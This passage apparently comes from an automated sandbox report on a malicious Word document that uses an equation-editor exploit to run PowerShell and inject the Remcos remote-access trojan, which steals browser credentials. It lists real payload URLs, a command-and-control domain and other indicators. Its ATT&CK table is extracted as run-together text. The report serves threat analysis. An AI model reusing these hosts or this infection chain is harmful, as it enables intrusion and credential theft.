              Source: RegAsm.exe, 00000008.00000002.870693888.0000000000501000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.870693888.0000000000519000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: |Program Manager|
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00434C52 cpuid 8_2_00434C52
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,8_2_00452036
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,8_2_004520C3
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,8_2_00452313
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,8_2_00448404
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,8_2_0045243C
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,8_2_00452543
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,8_2_00452610
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoA,8_2_0040F8D1
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: GetLocaleInfoW,8_2_004488ED
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: IsValidCodePage,GetLocaleInfoW,8_2_00451CD8
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,8_2_00451F50
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: EnumSystemLocalesW,8_2_00451F9B
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00448957 GetSystemTimeAsFileTime,8_2_00448957
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_0041B60D GetUserNameW,8_2_0041B60D
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_00449190 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,8_2_00449190
              Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

              Stealing of Sensitive Information

              barindex
              Yara detected Remcos RAT
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.4017e48.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.3779a80.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.4017e48.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000008.00000002.870693888.00000000004E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.870693888.0000000000501000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.870693888.0000000000519000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.358021067.0000000003BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3308, type: MEMORYSTR
              Contains functionality to steal Chrome passwords or cookies
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: \AppData\Local\Google\Chrome\User Data\Default\Login Data8_2_0040BA12
              Contains functionality to steal Firefox passwords or cookies
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: \AppData\Roaming\Mozilla\Firefox\Profiles\8_2_0040BB30
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: \key3.db8_2_0040BB30

              Remote Access Functionality

              barindex
              Detected Remcos RAT
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeMutex created: \Sessions\1\BaseNamedObjects\Rmc-R2I0JWJump to behavior
              Yara detected Remcos RAT
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.4017e48.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 8.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.3779a80.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 6.2.powershell.exe.4017e48.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 00000008.00000002.870693888.00000000004E5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.870693888.0000000000501000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000008.00000002.870693888.0000000000519000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000006.00000002.358021067.0000000003BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: RegAsm.exe PID: 3308, type: MEMORYSTR
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: cmd.exe8_2_0040569A

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity Information121
              Scripting              		Valid Accounts1
              Native API              		121
              Scripting              		1
              DLL Side-Loading              		11
              Deobfuscate/Decode Files or Information              		1
              OS Credential Dumping              		2
              System Time Discovery              		Remote Services11
              Archive Collected Data              		13
              Ingress Tool Transfer              		Exfiltration Over Other Network Medium1
              System Shutdown/Reboot
              CredentialsDomainsDefault Accounts43
              Exploitation for Client Execution              		1
              DLL Side-Loading              		1
              Bypass User Account Control              		2
              Obfuscated Files or Information              		111
              Input Capture              		1
              Account Discovery              		Remote Desktop Protocol111
              Input Capture              		2
              Encrypted Channel              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain Accounts221
              Command and Scripting Interpreter              		1
              Windows Service              		1
              Access Token Manipulation              		1
              DLL Side-Loading              		2
              Credentials In Files              		1
              System Service Discovery              		SMB/Windows Admin Shares3
              Clipboard Data              		1
              Remote Access Software              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal Accounts2
              Service Execution              		Login Hook1
              Windows Service              		1
              Bypass User Account Control              		NTDS3
              File and Directory Discovery              		Distributed Component Object ModelInput Capture2
              Non-Application Layer Protocol              		Traffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud Accounts2
              PowerShell              		Network Logon Script222
              Process Injection              		1
              Masquerading              		LSA Secrets34
              System Information Discovery              		SSHKeylogging212
              Application Layer Protocol              		Scheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts21
              Virtualization/Sandbox Evasion              		Cached Domain Credentials2
              Security Software Discovery              		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
              Access Token Manipulation              		DCSync21
              Virtualization/Sandbox Evasion              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job222
              Process Injection              		Proc Filesystem3
              Process Discovery              		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
              Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAtHTML Smuggling/etc/passwd and /etc/shadow1
              Application Window Discovery              		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
              IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCronDynamic API ResolutionNetwork Sniffing1
              System Owner/User Discovery              		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
              Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchdStripped PayloadsInput Capture1
              Remote System Discovery              		Software Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 signatures2 2 Behavior Graph ID: 1483045 Sample: girlfrnd.doc Startdate: 26/07/2024 Architecture: WINDOWS Score: 100 41 Found malware configuration 2->41 43 Malicious sample detected (through community Yara rule) 2->43 45 Antivirus detection for URL or domain 2->45 47 19 other signatures 2->47 9 WINWORD.EXE 291 13 2->9         started        process3 process4 11 EQNEDT32.EXE 12 9->11         started        16 EQNEDT32.EXE 9->16         started        dnsIp5 39 192.3.176.154, 49165, 49167, 80 AS-COLOCROSSINGUS United States 11->39 29 C:\...\createactiveimagesbeautygirlf.vBS, Unicode 11->29 dropped 73 Office equation editor establishes network connection 11->73 75 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 11->75 18 wscript.exe 1 11->18         started        file6 signatures7 process8 signatures9 49 Suspicious powershell command line found 18->49 51 Wscript starts Powershell (via cmd or directly) 18->51 53 Obfuscated command line found 18->53 55 3 other signatures 18->55 21 powershell.exe 12 5 18->21         started        process10 dnsIp11 31 198.46.176.133, 49166, 80 AS-COLOCROSSINGUS United States 21->31 57 Writes to foreign memory regions 21->57 59 Suspicious execution chain found 21->59 61 Injects a PE file into a foreign processes 21->61 25 RegAsm.exe 3 10 21->25         started        signatures12 process13 dnsIp14 33 2024remcmon.duckdns.org 25->33 35 2024remcmon.duckdns.org 192.210.214.9, 14645, 49168 AS-COLOCROSSINGUS United States 25->35 37 geoplugin.net 178.237.33.50, 49169, 80 ATOM86-ASATOM86NL Netherlands 25->37 63 Contains functionality to bypass UAC (CMSTPLUA) 25->63 65 Detected Remcos RAT 25->65 67 Contains functionality to steal Chrome passwords or cookies 25->67 71 3 other signatures 25->71 signatures15 69 Uses dynamic DNS services 33->69

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              girlfrnd.doc47%ReversingLabsDocument-RTF.Exploit.CVE-2017-11882
              girlfrnd.doc100%AviraHEUR/Rtf.Malformed

              Dropped Files

              ⊘No Antivirus matches

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              http://geoplugin.net/json.gp0%URL Reputationsafe
              http://nuget.org/NuGet.exe0%URL Reputationsafe
              http://geoplugin.net/json.gp/C0%URL Reputationsafe
              https://contoso.com/0%URL Reputationsafe
              https://nuget.org/nuget.exe0%URL Reputationsafe
              https://contoso.com/License0%URL Reputationsafe
              https://contoso.com/Icon0%URL Reputationsafe
              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
              http://198.46.176.133/Upload/vbs.jpeg100%Avira URL Cloudmalware
              http://192.3.176.154/xampp/glo/createactiveimagesbeautygirlfrnd.gIFj0%Avira URL Cloudsafe
              http://192.3.176.1540%Avira URL Cloudsafe
              http://192.3.176.154/xampp/glo/createactiveimagesbeautygirlfrnd.gIF0%Avira URL Cloudsafe
              http://198.46.176.1330%Avira URL Cloudsafe
              http://go.microsoft.c0%Avira URL Cloudsafe
              http://192.3.176.154/xampp/glo/KBV.txt0%Avira URL Cloudsafe
              2024remcmon.duckdns.org0%Avira URL Cloudsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              geoplugin.net
              		178.237.33.50
              		truefalse
                		unknown
                2024remcmon.duckdns.org
                		192.210.214.9
                		truetrue
                  		unknown

                  Contacted URLs

                  NameMaliciousAntivirus DetectionReputation
                  http://geoplugin.net/json.gpfalse
                  • URL Reputation: safe
                  		unknown
                  http://198.46.176.133/Upload/vbs.jpegfalse
                  • Avira URL Cloud: malware
                  		unknown
                  http://192.3.176.154/xampp/glo/createactiveimagesbeautygirlfrnd.gIFtrue
                  • Avira URL Cloud: safe
                  		unknown
                  http://192.3.176.154/xampp/glo/KBV.txttrue
                  • Avira URL Cloud: safe
                  		unknown
                  2024remcmon.duckdns.orgtrue
                  • Avira URL Cloud: safe
                  		unknown

                  URLs from Memory and Binaries

                  NameSourceMaliciousAntivirus DetectionReputation
                  http://nuget.org/NuGet.exepowershell.exe, 00000006.00000002.358021067.0000000003639000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://geoplugin.net/json.gp/Cpowershell.exe, 00000006.00000002.358021067.0000000003779000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.358021067.0000000003BB0000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.870588914.0000000000400000.00000040.00000400.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://192.3.176.154/xampp/glo/createactiveimagesbeautygirlfrnd.gIFjEQNEDT32.EXE, 00000002.00000002.346083538.000000000030F000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  https://contoso.com/powershell.exe, 00000006.00000002.358021067.0000000003639000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://nuget.org/nuget.exepowershell.exe, 00000006.00000002.358021067.0000000003639000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://contoso.com/Licensepowershell.exe, 00000006.00000002.358021067.0000000003639000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  https://contoso.com/Iconpowershell.exe, 00000006.00000002.358021067.0000000003639000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://go.microsoft.cpowershell.exe, 00000006.00000002.357756845.000000000051C000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000006.00000002.357913757.0000000002611000.00000004.00000800.00020000.00000000.sdmpfalse
                  • URL Reputation: safe
                  		unknown
                  http://192.3.176.154powershell.exe, 00000006.00000002.361441806.0000000009191000.00000004.00000800.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://198.46.176.133powershell.exe, 00000006.00000002.357913757.000000000274B000.00000004.00000800.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown

                  World Map of Contacted IPs

                  • No. of IPs < 25%
                  • 25% < No. of IPs < 50%
                  • 50% < No. of IPs < 75%
                  • 75% < No. of IPs

                  Public IPs

                  IPDomainCountryFlagASNASN NameMalicious
                  192.3.176.154
                  		unknownUnited States
                  		36352AS-COLOCROSSINGUStrue
                  192.210.214.9
                  		2024remcmon.duckdns.orgUnited States
                  		36352AS-COLOCROSSINGUStrue
                  198.46.176.133
                  		unknownUnited States
                  		36352AS-COLOCROSSINGUSfalse
                  178.237.33.50
                  		geoplugin.netNetherlands
                  		8455ATOM86-ASATOM86NLfalse

                  General Information

                  Joe Sandbox version:40.0.0 Tourmaline
                  Analysis ID:1483045
                  Start date and time:2024-07-26 14:59:08 +02:00
                  Joe Sandbox product:CloudBasic
                  Overall analysis duration:0h 8m 47s
                  Hypervisor based Inspection enabled:false
                  Report type:full
                  Cookbook file name:defaultwindowsofficecookbook.jbs
                  Analysis system description:Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
                  Number of analysed new started processes analysed:14
                  Number of new started drivers analysed:0
                  Number of existing processes analysed:0
                  Number of existing drivers analysed:0
                  Number of injected processes analysed:0
                  Technologies:
                  • HCA enabled
                  • EGA enabled
                  • AMSI enabled
                  Analysis Mode:default
                  Analysis stop reason:Timeout
                  Sample name:girlfrnd.doc
                  renamed because original name is a hash value
                  Original Sample Name:funtogetbacktomeforgetbacktogetbackkissthingtheentirethingstogetbacktomewithentirethingstogetback_____imangreadytoseegirlfrnd.doc
                  Detection:MAL
                  Classification:mal100.troj.spyw.expl.evad.winDOC@9/14@4/4
                  EGA Information:
                  • Successful, ratio: 66.7%
                  HCA Information:
                  • Successful, ratio: 96%
                  • Number of executed functions: 60
                  • Number of non-executed functions: 222
                  Cookbook Comments:
                  • Found application associated with file extension: .doc
                  • Found Word or Excel or PowerPoint or XPS Viewer
                  • Attach to Office via COM
                  • Active ActiveX Object
                  • Scroll down
                  • Close Viewer
                  • Override analysis time to 79983.8982153346 for current running targets taking high CPU consumption
                  • Override analysis time to 159967.796430669 for current running targets taking high CPU consumption

                  Warnings

                  • Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, conhost.exe, svchost.exe
                  • Execution Graph export aborted for target EQNEDT32.EXE, PID 532 because there are no executed function
                  • Not all processes where analyzed, report is missing behavior information
                  • Report size exceeded maximum capacity and may have missing behavior information.
                  • Report size getting too big, too many NtOpenKeyEx calls found.
                  • Report size getting too big, too many NtQueryValueKey calls found.
                  • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                  • VT rate limit hit for: girlfrnd.doc

                  Simulations

                  Behavior and APIs

                  TimeTypeDescription
                  08:59:54API Interceptor310x Sleep call for process: EQNEDT32.EXE modified
                  08:59:57API Interceptor19x Sleep call for process: powershell.exe modified
                  08:59:57API Interceptor15x Sleep call for process: wscript.exe modified
                  09:00:02API Interceptor7627980x Sleep call for process: RegAsm.exe modified

                  Joe Sandbox View / Context

                  IPs

                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                  192.3.176.154DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                  • 192.3.176.154/50/HNBC.txt
                  Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                  • 192.3.176.154/xampp/glo/KBV.txt
                  192.210.214.9Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                    INQUIRY#809676-JULY1.xla.xlsxGet hashmaliciousRemcosBrowse
                      INQUIRY#809676-JULY1.xla.xlsxGet hashmaliciousRemcosBrowse
                        IlWPStOFHj.rtfGet hashmaliciousRemcosBrowse
                          1715327885f20f31f2f517c98cb2c7e927c5676435d894ec2de190282251b350f38ab136db927.dat-decoded.exeGet hashmaliciousRemcos, PrivateLoaderBrowse
                            198.46.176.133DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                            • 198.46.176.133/Upload/vbs.jpeg
                            Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                            • 198.46.176.133/Upload/vbs.jpeg
                            AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                            • 198.46.176.133/Upload/vbs.jpeg
                            waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                            • 198.46.176.133/Upload/vbs.jpeg
                            #U00d6DEME TAVS#U0130YES#U0130.xlsGet hashmaliciousRemcosBrowse
                            • 198.46.176.133/Upload/vbs.jpeg
                            042240724.xlsGet hashmaliciousRemcosBrowse
                            • 198.46.176.133/Upload/vbs.jpeg
                            createdgoodthingswtihmewhilealot.gif.vbsGet hashmaliciousUnknownBrowse
                            • 198.46.176.133/Upload/vbs.jpeg
                            greatbunfeelsoftandhoney.gif.vbsGet hashmaliciousUnknownBrowse
                            • 198.46.176.133/Upload/vbs.jpeg
                            PO S0042328241130.xlsGet hashmaliciousRemcosBrowse
                            • 198.46.176.133/Upload/vbs.jpeg
                            ogetback.docGet hashmaliciousRemcosBrowse
                            • 198.46.176.133/Upload/vbs.jpeg
                            178.237.33.50UD61dgs2rz.exeGet hashmaliciousRemcosBrowse
                            • geoplugin.net/json.gp
                            DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                            • geoplugin.net/json.gp
                            Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                            • geoplugin.net/json.gp
                            AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                            • geoplugin.net/json.gp
                            waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                            • geoplugin.net/json.gp
                            Payment Advice__HSBC Banking.pdf.lnkGet hashmaliciousRemcosBrowse
                            • geoplugin.net/json.gp
                            C1ZsNxSer8.exeGet hashmaliciousRemcosBrowse
                            • geoplugin.net/json.gp
                            Quotation.xlsGet hashmaliciousRemcosBrowse
                            • geoplugin.net/json.gp
                            LisectAVT_2403002A_101.exeGet hashmaliciousRemcosBrowse
                            • geoplugin.net/json.gp
                            LisectAVT_2403002A_407.exeGet hashmaliciousRemcosBrowse
                            • geoplugin.net/json.gp

                            Domains

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            2024remcmon.duckdns.orgPurchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                            • 192.210.214.9
                            INQUIRY#809676-JULY1.xla.xlsxGet hashmaliciousRemcosBrowse
                            • 192.210.214.9
                            INQUIRY#809676-JULY1.xla.xlsxGet hashmaliciousRemcosBrowse
                            • 192.210.214.9
                            1715327885f20f31f2f517c98cb2c7e927c5676435d894ec2de190282251b350f38ab136db927.dat-decoded.exeGet hashmaliciousRemcos, PrivateLoaderBrowse
                            • 192.210.214.9
                            izjbNXbbDX.rtfGet hashmaliciousRemcosBrowse
                            • 107.172.31.178
                            1710228246da2ebbe442542c426e28c0df992bca85d59c521a027975c70d161027e53b6d2f971.dat-decoded.exeGet hashmaliciousRemcosBrowse
                            • 107.172.31.178
                            RFQ No. PO414501.xla.xlsxGet hashmaliciousRemcosBrowse
                            • 107.172.31.178
                            geoplugin.netUD61dgs2rz.exeGet hashmaliciousRemcosBrowse
                            • 178.237.33.50
                            DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                            • 178.237.33.50
                            Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                            • 178.237.33.50
                            AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                            • 178.237.33.50
                            waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                            • 178.237.33.50
                            Payment Advice__HSBC Banking.pdf.lnkGet hashmaliciousRemcosBrowse
                            • 178.237.33.50
                            C1ZsNxSer8.exeGet hashmaliciousRemcosBrowse
                            • 178.237.33.50
                            Quotation.xlsGet hashmaliciousRemcosBrowse
                            • 178.237.33.50
                            LisectAVT_2403002A_101.exeGet hashmaliciousRemcosBrowse
                            • 178.237.33.50
                            LisectAVT_2403002A_407.exeGet hashmaliciousRemcosBrowse
                            • 178.237.33.50

                            ASNs

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            AS-COLOCROSSINGUSPRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                            • 192.227.225.166
                            PRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                            • 192.227.225.166
                            DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                            • 192.3.101.142
                            PRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                            • 192.227.225.166
                            Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                            • 198.46.176.133
                            AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                            • 198.46.176.133
                            waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                            • 104.168.45.34
                            IRqsWvBBMc.exeGet hashmaliciousAmadey, VidarBrowse
                            • 198.46.178.145
                            file.exeGet hashmaliciousVidarBrowse
                            • 198.46.178.145
                            C1ZsNxSer8.exeGet hashmaliciousRemcosBrowse
                            • 23.95.60.82
                            AS-COLOCROSSINGUSPRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                            • 192.227.225.166
                            PRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                            • 192.227.225.166
                            DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                            • 192.3.101.142
                            PRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                            • 192.227.225.166
                            Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                            • 198.46.176.133
                            AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                            • 198.46.176.133
                            waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                            • 104.168.45.34
                            IRqsWvBBMc.exeGet hashmaliciousAmadey, VidarBrowse
                            • 198.46.178.145
                            file.exeGet hashmaliciousVidarBrowse
                            • 198.46.178.145
                            C1ZsNxSer8.exeGet hashmaliciousRemcosBrowse
                            • 23.95.60.82
                            AS-COLOCROSSINGUSPRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                            • 192.227.225.166
                            PRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                            • 192.227.225.166
                            DHL Shipment Notification 490104998009.xlsGet hashmaliciousRemcosBrowse
                            • 192.3.101.142
                            PRZELEW BANKOWY.xlsGet hashmaliciousUnknownBrowse
                            • 192.227.225.166
                            Purchase Inquiry.xla.xlsxGet hashmaliciousRemcosBrowse
                            • 198.46.176.133
                            AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                            • 198.46.176.133
                            waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                            • 104.168.45.34
                            IRqsWvBBMc.exeGet hashmaliciousAmadey, VidarBrowse
                            • 198.46.178.145
                            file.exeGet hashmaliciousVidarBrowse
                            • 198.46.178.145
                            C1ZsNxSer8.exeGet hashmaliciousRemcosBrowse
                            • 23.95.60.82

                            JA3 Fingerprints

                            ⊘No context

                            Dropped Files

                            ⊘No context

                            Created / dropped Files

                            C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):4760
                            Entropy (8bit):4.834060479684549
                            Encrypted:false
                            SSDEEP:96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
                            MD5:838C1F472806CF4BA2A9EC49C27C2847
                            SHA1:D1C63579585C4740956B099697C74AD3E7C89751
                            SHA-256:40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
                            SHA-512:E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
                            Malicious:false
                            Reputation:moderate, very likely benign file
